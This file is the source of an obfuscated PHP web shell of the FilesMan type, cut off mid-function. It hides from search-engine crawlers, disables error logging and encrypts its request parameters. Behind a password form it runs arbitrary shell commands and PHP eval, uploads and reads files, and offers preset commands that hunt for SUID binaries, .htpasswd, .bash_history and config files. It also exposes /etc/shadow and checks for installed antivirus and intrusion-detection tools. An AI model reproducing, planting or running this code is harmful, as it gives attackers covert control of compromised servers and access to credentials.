$knvlmxfahmi = "3f95b619deb30f8cc0c751a26c9e60289ef80206db0052ba811e32218fce8c58";
$fbfhtqh = "#df5";
$eifsbopwv = 'FilesMan';
$cruwyx = true;
$kbmjtplqbwah = 'UTF-8';
$njfxzktgxde = md5($_SERVER['HTTP_USER_AGENT']);
if (empty($_POST['shap'])) {
$_POST['shap'] = $kbmjtplqbwah;
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "eqlac"])) {
sjzdrrj(md5($_SERVER['HTTP_HOST']) . "eqlac", $njfxzktgxde);
}
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$kwlkytswj = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $kwlkytswj) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
if (!isset($_POST['emqw'])) {
if (isset($_POST['wveg'])) {
$_POST['wveg'] = iconv("utf-8", $_POST['shap'], vlmwphe($_POST['wveg'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "eqlac"]));
}
if (isset($_POST['wajx'])) {
$_POST['wajx'] = iconv("utf-8", $_POST['shap'], vlmwphe($_POST['wajx'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "eqlac"]));
}
if (isset($_POST['dttbek'])) {
$_POST['dttbek'] = iconv("utf-8", $_POST['shap'], vlmwphe($_POST['dttbek'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "eqlac"]));
}
if (isset($_POST['buzd'])) {
$_POST['buzd'] = iconv("utf-8", $_POST['shap'], vlmwphe($_POST['buzd'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "eqlac"]));
}
if (isset($_POST['ssfs'])) {
$_POST['ssfs'] = iconv("utf-8", $_POST['shap'], vlmwphe($_POST['ssfs'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "eqlac"]));
}
}
function vlmwphe($odzetc, $pdkgicmpldf) {
$pdkgicmpldf = base64_encode($pdkgicmpldf);
$odzetc = base64_decode($odzetc);
$ogzlekyx = "";
$qgvtuaymhhz = "";
$pmfjcatzbi = 0;
while ($pmfjcatzbi < strlen($odzetc)) {
for ($zjezamn = 0; $zjezamn < strlen($pdkgicmpldf); $zjezamn++) {
$ogzlekyx = chr(ord($odzetc[$pmfjcatzbi]) ^ ord($pdkgicmpldf[$zjezamn]));
$qgvtuaymhhz .= $ogzlekyx;
$pmfjcatzbi++;
if ($pmfjcatzbi >= strlen($odzetc)) {
break;
}
}
}
return base64_decode($qgvtuaymhhz);
}
@ini_set('error_log', null);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
@set_magic_quotes_runtime(0);
}
if (version_compare(PHP_VERSION, '7.4.0', '<')) {
if (get_magic_quotes_gpc()) {
function vgkvzkh($zpcyiv) {
return is_array($zpcyiv) ? array_map('vgkvzkh', $zpcyiv) : stripslashes($zpcyiv);
}
$_POST = vgkvzkh($_POST);
$_COOKIE = vgkvzkh($_COOKIE);
}
}
function unzloi() {
die("<form method=post><input type=password name=pass><input type=submit value='>>'></form>");
}
function sjzdrrj($ziyddth, $yhtjwnbf) {
$_COOKIE[$ziyddth] = $yhtjwnbf;
setcookie($ziyddth, $yhtjwnbf);
}
if (!empty($knvlmxfahmi)) {
if (isset($_POST['pass']) && (hash('gost', $_POST['pass']) == $knvlmxfahmi)) {
sjzdrrj(md5($_SERVER['HTTP_HOST']), $knvlmxfahmi);
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $knvlmxfahmi)) {
unzloi();
}
}
if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
$rfcjcc = 'win';
} else {
$rfcjcc = 'nix';
}
$jlrjshvrw = @ini_get('safe_mode');
if (!$jlrjshvrw) {
error_reporting(0);
}
$fjgalr = @ini_get('disable_functions');
$doirkgai = @getcwd();
if (isset($_POST['wajx'])) {
@chdir($_POST['wajx']);
}
$yzbuykdzpp = @getcwd();
if ($rfcjcc == 'win') {
$doirkgai = str_replace("\\", "/", $doirkgai);
$yzbuykdzpp = str_replace("\\", "/", $yzbuykdzpp);
}
if ($yzbuykdzpp[strlen($yzbuykdzpp) - 1] != '/') {
$yzbuykdzpp .= '/';
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$cruwyx;
}
if ($rfcjcc == 'win') {
$jvrafexcy = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
} else {
$jvrafexcy = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" => "locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files" => "locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
}
function xvecpyifn() {
if (empty($_POST['shap'])) {
$_POST['shap'] = $GLOBALS['kbmjtplqbwah'];
}
global $fbfhtqh;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['shap'] . "'><link rel='icon' type='image/png' sizes='1x1' href='data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mOU1Hu5HQADgQHplQbXNQAAAABJRU5ErkJggg==' /><title>" . $_SERVER['HTTP_HOST'] . "</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $fbfhtqh !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $fbfhtqh;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $fbfhtqh; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['yzbuykdzpp']) . "';
var a_ = '" . htmlspecialchars(@$_POST['wveg']) . "'
var charset_ = '" . htmlspecialchars(@$_POST['shap']) . "';
var p1_ = '" . ((strpos(@$_POST['dttbek'], "\n") !== false) ? '' : htmlspecialchars($_POST['dttbek'], ENT_QUOTES)) . "';
var p2_ = '" . ((strpos(@$_POST['buzd'], "\n") !== false) ? '' : htmlspecialchars($_POST['buzd'], ENT_QUOTES)) . "';
var p3_ = '" . ((strpos(@$_POST['ssfs'], "\n") !== false) ? '' : htmlspecialchars($_POST['ssfs'], ENT_QUOTES)) . "';
var d = document;
function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.frudge.wveg.value=a;else d.frudge.wveg.value=a_;
if(c!=null)d.frudge.wajx.value=c;else d.frudge.wajx.value=c_;
if(p1!=null)d.frudge.dttbek.value=p1;else d.frudge.dttbek.value=p1_;
if(p2!=null)d.frudge.buzd.value=p2;else d.frudge.buzd.value=p2_;
if(p3!=null)d.frudge.ssfs.value=p3;else d.frudge.ssfs.value=p3_;
d.frudge.wveg.value = encrypt(d.frudge.wveg.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "eqlac"] . "');
d.frudge.wajx.value = encrypt(d.frudge.wajx.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "eqlac"] . "');
d.frudge.dttbek.value = encrypt(d.frudge.dttbek.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "eqlac"] . "');
d.frudge.buzd.value = encrypt(d.frudge.buzd.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "eqlac"] . "');
d.frudge.ssfs.value = encrypt(d.frudge.ssfs.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "eqlac"] . "');
if(charset!=null)d.frudge.shap.value=charset;else d.frudge.shap.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.frudge.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'azlfu=true';
for(i=0;i<d.frudge.elements.length;i++)
params += '&'+d.frudge.elements[i].name+'='+encodeURIComponent(d.frudge.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=frudge style='display:none;'>
<input type=hidden name=wveg>
<input type=hidden name=wajx>
<input type=hidden name=dttbek>
<input type=hidden name=buzd>
<input type=hidden name=ssfs>
<input type=hidden name=shap>
</form>";
$cazoal = function_exists('diskfreespace') ? @diskfreespace($GLOBALS['yzbuykdzpp']) : null;
$yofyfxeipeyj = function_exists('disk_total_space') ? @disk_total_space($GLOBALS['yzbuykdzpp']) : null;
$yofyfxeipeyj = $yofyfxeipeyj ? $yofyfxeipeyj : 1;
$ptcfuegckjrn = @php_uname('r');
$jybojrpz = @php_uname('s');
$hmmzjeiz = 'http://exploit-db.com/search/?action=search&filter_description=';
if (strpos('Linux', $jybojrpz) !== false) {
$hmmzjeiz .= urlencode('Linux Kernel ' . substr($ptcfuegckjrn, 0, 6));
} else {
$hmmzjeiz .= urlencode($jybojrpz . ' ' . substr($ptcfuegckjrn, 0, 3));
}
if (!function_exists('posix_getegid')) {
$izeivu = @get_current_user();
$roetzpoorfep = @getmyuid();
$cxkrappg = @getmygid();
$fucklfvuf = "?";
} else {
$roetzpoorfep = (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) ? @posix_getpwuid(posix_geteuid()) : '?';
//$roetzpoorfep = @posix_getpwuid(posix_geteuid());
$cxkrappg = (function_exists('posix_getgrgid') && function_exists('posix_getegid')) ? @posix_getgrgid(posix_getegid()) : '?';
//$cxkrappg = @posix_getgrgid(posix_getegid());
$izeivu = is_array($roetzpoorfep) ? $roetzpoorfep['name'] : '?';
$roetzpoorfep = is_array($roetzpoorfep) ? $roetzpoorfep['uid'] : '?';
$fucklfvuf = is_array($cxkrappg) ? $cxkrappg['name'] : '?';
$cxkrappg = is_array($cxkrappg) ? $cxkrappg['gid'] : '?';
}
$fslaqdwph = '';
$jrirvlltjwyu = explode("/", $GLOBALS['yzbuykdzpp']);
$zzchgdnvz = count($jrirvlltjwyu);
for ($pmfjcatzbi = 0; $pmfjcatzbi < $zzchgdnvz - 1; $pmfjcatzbi++) {
$fslaqdwph .= "<a href='#' onclick='g(\"FilesMan\",\"";
for ($zjezamn = 0; $zjezamn <= $pmfjcatzbi; $zjezamn++) {
$fslaqdwph .= $jrirvlltjwyu[$zjezamn] . '/';
}
$fslaqdwph .= "\")'>" . $jrirvlltjwyu[$pmfjcatzbi] . "/</a>";
}
$blcvllada = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$lpyhjper = '';
foreach ($blcvllada as $jrunmeud) {
$lpyhjper .= '<option value="' . $jrunmeud . '" ' . ($_POST['shap'] == $jrunmeud ? 'selected' : '') . '>' . $jrunmeud . '</option>';
}
$lallrvlqzos = array(
'Sec. Info' => 'SecInfo',
'Files' => 'FilesMan',
'Console' => 'Console',
'Php' => 'Php',
'String tools' => 'StringTools',
'Network' => 'Network'
);
if (!empty($GLOBALS['knvlmxfahmi'])) {
$lallrvlqzos['Logout'] = 'Logout';
}
$lallrvlqzos['Self remove'] = 'SelfRemove';
$ewypwdltjum = '';
foreach ($lallrvlqzos as $ziyddth => $yhtjwnbf) {
$ewypwdltjum .= '<th width="' . (int)(100 / count($lallrvlqzos)) . '%">[ <a href="#" onclick="g(\'' . $yhtjwnbf . '\',null,\'\',\'\',\'\')">' . $ziyddth . '</a> ]</th>';
}
$pmnopqzooheg = "";
if ($GLOBALS['rfcjcc'] == 'win') {
foreach (range('c', 'z') as $kubpjv) {
if (is_dir($kubpjv . ':\\')) {
$pmnopqzooheg .= '<a href="#" onclick="g(\'FilesMan\',\'' . $kubpjv . ':/\')">[ ' . $kubpjv . ' ]</a> ';
}
}
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['rfcjcc'] == 'win' ? '<br>Drives:' : '') . '</span></td><td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $hmmzjeiz . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $roetzpoorfep . ' ( ' . $izeivu . ' ) <span>Group:</span> ' . $cxkrappg . ' ( ' . $fucklfvuf . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['jlrjshvrw'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . yikvvlip($yofyfxeipeyj) . ' <span>Free:</span> ' . yikvvlip($cazoal) . ' (' . (int)($cazoal / $yofyfxeipeyj * 100) . '%)<br>' . $fslaqdwph . ' ' . uxilpnm($GLOBALS['yzbuykdzpp']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['doirkgai'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $pmnopqzooheg . '</td><td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $lpyhjper . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table><table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $ewypwdltjum . '</tr></table><div style="margin:5">';
}
function dhexky() {
$fvgbpfwcsdl = is_writable($GLOBALS['yzbuykdzpp']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['yzbuykdzpp']) . "'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$fvgbpfwcsdl<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$fvgbpfwcsdl<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=wveg value='" . cjjgcnn('FilesMan') . "'>
<input type=hidden name=wajx value='" . cjjgcnn($GLOBALS['yzbuykdzpp']) . "'>
<input type=hidden name=dttbek value='" . cjjgcnn('uploadFile') . "'>
<input type=hidden name=shap value='" . (isset($_POST['shap']) ? cjjgcnn($_POST['shap']) : '') . "'>
<span>Upload file:</span>$fvgbpfwcsdl<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") || (strpos(ini_get('disable_functions'), 'posix_getpwuid') !== false)) {
function posix_getpwuid($uzwger) {
return false;
}
}
if (!function_exists("posix_getgrgid") || (strpos(ini_get('disable_functions'), 'posix_getgrgid') !== false)) {
function posix_getgrgid($uzwger) {
return false;
}
}
function mtnbzgk($hlkrvmm) {
$vecxbywn = '';
if (function_exists('exec')) {
@exec($hlkrvmm, $vecxbywn);
$vecxbywn = @join("\n", $vecxbywn);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($hlkrvmm);
$vecxbywn = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($hlkrvmm);
$vecxbywn = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$vecxbywn = shell_exec($hlkrvmm);
} elseif (function_exists('popen') && is_resource($lpolrzfdh = @popen($hlkrvmm, "r"))) {
$vecxbywn = "";
while (!@feof($lpolrzfdh)) {
$vecxbywn .= fread($lpolrzfdh, 1024);
}
pclose($lpolrzfdh);
}
return $vecxbywn;
}
function yikvvlip($aoifztadax) {
if (is_int($aoifztadax)) {
$aoifztadax = sprintf("%u", $aoifztadax);
}
if ($aoifztadax >= 1073741824) {
return sprintf('%1.2f', $aoifztadax / 1073741824) . ' GB';
} elseif ($aoifztadax >= 1048576) {
return sprintf('%1.2f', $aoifztadax / 1048576) . ' MB';
} elseif ($aoifztadax >= 1024) {
return sprintf('%1.2f', $aoifztadax / 1024) . ' KB';
} else {
return $aoifztadax . ' B';
}
}
function khfsoizwm($uzwger) {
if (($uzwger & 0xC000) == 0xC000) {
$pmfjcatzbi = 's';
} elseif (($uzwger & 0xA000) == 0xA000) {
$pmfjcatzbi = 'l';
} elseif (($uzwger & 0x8000) == 0x8000) {
$pmfjcatzbi = '-';
} elseif (($uzwger & 0x6000) == 0x6000) {
$pmfjcatzbi = 'b';
} elseif (($uzwger & 0x4000) == 0x4000) {
$pmfjcatzbi = 'd';
} elseif (($uzwger & 0x2000) == 0x2000) {
$pmfjcatzbi = 'c';
} elseif (($uzwger & 0x1000) == 0x1000) {
$pmfjcatzbi = 'p';
} else {
$pmfjcatzbi = 'u';
}
$pmfjcatzbi .= (($uzwger & 0x0100) ? 'r' : '-');
$pmfjcatzbi .= (($uzwger & 0x0080) ? 'w' : '-');
$pmfjcatzbi .= (($uzwger & 0x0040) ? (($uzwger & 0x0800) ? 's' : 'x') : (($uzwger & 0x0800) ? 'S' : '-'));
$pmfjcatzbi .= (($uzwger & 0x0020) ? 'r' : '-');
$pmfjcatzbi .= (($uzwger & 0x0010) ? 'w' : '-');
$pmfjcatzbi .= (($uzwger & 0x0008) ? (($uzwger & 0x0400) ? 's' : 'x') : (($uzwger & 0x0400) ? 'S' : '-'));
$pmfjcatzbi .= (($uzwger & 0x0004) ? 'r' : '-');
$pmfjcatzbi .= (($uzwger & 0x0002) ? 'w' : '-');
$pmfjcatzbi .= (($uzwger & 0x0001) ? (($uzwger & 0x0200) ? 't' : 'x') : (($uzwger & 0x0200) ? 'T' : '-'));
return $pmfjcatzbi;
}
function uxilpnm($lpolrzfdh) {
if (!@is_readable($lpolrzfdh)) {
return '<font color=#FF0000>' . khfsoizwm(@fileperms($lpolrzfdh)) . '</font>';
} elseif (!@is_writable($lpolrzfdh)) {
return '<font color=white>' . khfsoizwm(@fileperms($lpolrzfdh)) . '</font>';
} else {
return '<font color=#25ff00>' . khfsoizwm(@fileperms($lpolrzfdh)) . '</font>';
}
}
function hiovsxs($ykfqiq) {
if (function_exists("scandir")) {
return scandir($ykfqiq);
} else {
$hkqmyrmalvo = opendir($ykfqiq);
while (false !== ($gocusqrwti = readdir($hkqmyrmalvo))) {
$yscvbza[] = $gocusqrwti;
}
return $yscvbza;
}
}
function duwkrz($uzwger) {
$jrirvlltjwyu = mtnbzgk('which ' . $uzwger);
if (!empty($jrirvlltjwyu)) {
return $jrirvlltjwyu;
}
return false;
}
function actionSecInfo() {
xvecpyifn();
echo '<h1>Server security information</h1><div class=content>';
function fiasszc($zzchgdnvz, $yhtjwnbf) {
$yhtjwnbf = trim($yhtjwnbf);
if ($yhtjwnbf) {
echo '<span>' . $zzchgdnvz . ': </span>';
if (strpos($yhtjwnbf, "\n") === false) {
echo $yhtjwnbf . '<br>';
} else {
echo '<pre class=ml1>' . $yhtjwnbf . '</pre>';
}
}
}
fiasszc('Server software', @getenv('SERVER_SOFTWARE'));
if (function_exists('apache_get_modules')) {
fiasszc('Loaded Apache modules', implode(', ', apache_get_modules()));
}
fiasszc('Disabled PHP Functions', $GLOBALS['fjgalr'] ? $GLOBALS['fjgalr'] : 'none');
fiasszc('Open base dir', @ini_get('open_basedir'));
fiasszc('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
fiasszc('Safe mode include dir', @ini_get('safe_mode_include_dir'));
fiasszc('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
$tgsrifwrb = array();
if (function_exists('mysql_get_client_info')) {
$tgsrifwrb[] = "MySql (" . mysql_get_client_info() . ")";
}
if (function_exists('mssql_connect')) {
$tgsrifwrb[] = "MSSQL";
}
if (function_exists('pg_connect')) {
$tgsrifwrb[] = "PostgreSQL";
}
if (function_exists('oci_connect')) {
$tgsrifwrb[] = "Oracle";
}
fiasszc('Supported databases', implode(', ', $tgsrifwrb));
echo '<br>';
if ($GLOBALS['rfcjcc'] == 'nix') {
fiasszc('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
fiasszc('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
fiasszc('OS version', @file_get_contents('/proc/version'));
fiasszc('Distr name', @file_get_contents('/etc/issue.net'));
if (!$GLOBALS['jlrjshvrw']) {
$bxrnkdaocei = array(
'gcc',
'lcc',
'cc',
'ld',
'make',
'php',
'perl',
'python',
'ruby',
'tar',
'gzip',
'bzip',
'bzip2',
'nc',
'locate',
'suidperl'
);
$suaitzsu = array(
'kav',
'nod32',
'bdcored',
'uvscan',
'sav',
'drwebd',
'clamd',
'rkhunter',
'chkrootkit',
'iptables',
'ipfw',
'tripwire',
'shieldcc',
'portsentry',
'snort',
'ossec',
'lidsadm',
'tcplodg',
'sxid',
'logcheck',
'logwatch',
'sysmask',
'zmbscap',
'sawmill',
'wormscan',
'ninja'
);
$xrlusphpac = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
echo '<br>';
$tgsrifwrb = array();
foreach ($bxrnkdaocei as $jrunmeud) {
if (duwkrz($jrunmeud)) {
$tgsrifwrb[] = $jrunmeud;
}
}
fiasszc('Userful', implode(', ', $tgsrifwrb));
$tgsrifwrb = array();
foreach ($suaitzsu as $jrunmeud) {
if (duwkrz($jrunmeud)) {
$tgsrifwrb[] = $jrunmeud;
}
}
fiasszc('Danger', implode(', ', $tgsrifwrb));
$tgsrifwrb = array();
foreach ($xrlusphpac as $jrunmeud) {
if (duwkrz($jrunmeud)) {
$tgsrifwrb[] = $jrunmeud;
}
}
fiasszc('Downloaders', implode(', ', $tgsrifwrb));
echo '<br/>';
fiasszc('HDD space', mtnbzgk('df -h'));
fiasszc('Hosts', @file_get_contents('/etc/hosts'));
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if (isset($_POST['buzd'], $_POST['ssfs']) && is_numeric($_POST['buzd']) && is_numeric($_POST['ssfs'])) {
$tgsrifwrb = "";
for (; $_POST['buzd'] <= $_POST['ssfs']; $_POST['buzd']++) {
$roetzpoorfep = @posix_getpwuid($_POST['buzd']);
if ($roetzpoorfep) {
$tgsrifwrb .= join(':', $roetzpoorfep) . "\n";
}
}
echo '<br/>';
fiasszc('Users', $tgsrifwrb);
}
}
} else {
fiasszc('OS Version', mtnbzgk('ver'));
fiasszc('Account Settings', mtnbzgk('net accounts'));
fiasszc('User Accounts', mtnbzgk('net user'));
}
echo '</div>';
dhexky();
}
function actionPhp() {
if (isset($_POST['azlfu'])) {
sjzdrrj(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['dttbek']);
$tgsrifwrb = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
echo strlen($tgsrifwrb), "\n", $tgsrifwrb;
exit;
}
if (empty($_POST['azlfu']) && !empty($_POST['dttbek'])) {
sjzdrrj(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
xvecpyifn();
if (isset($_POST['buzd']) && ($_POST['buzd'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$awxvrwwivwzu = ob_get_clean();
$awxvrwwivwzu = preg_replace(array(
'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
//'!td, th {(.*)}!msiU',
'!<img[^>]+>!msiU',
), array(
'',
//'.e, .v, .h, .h th {$1}',
'',
), $awxvrwwivwzu);
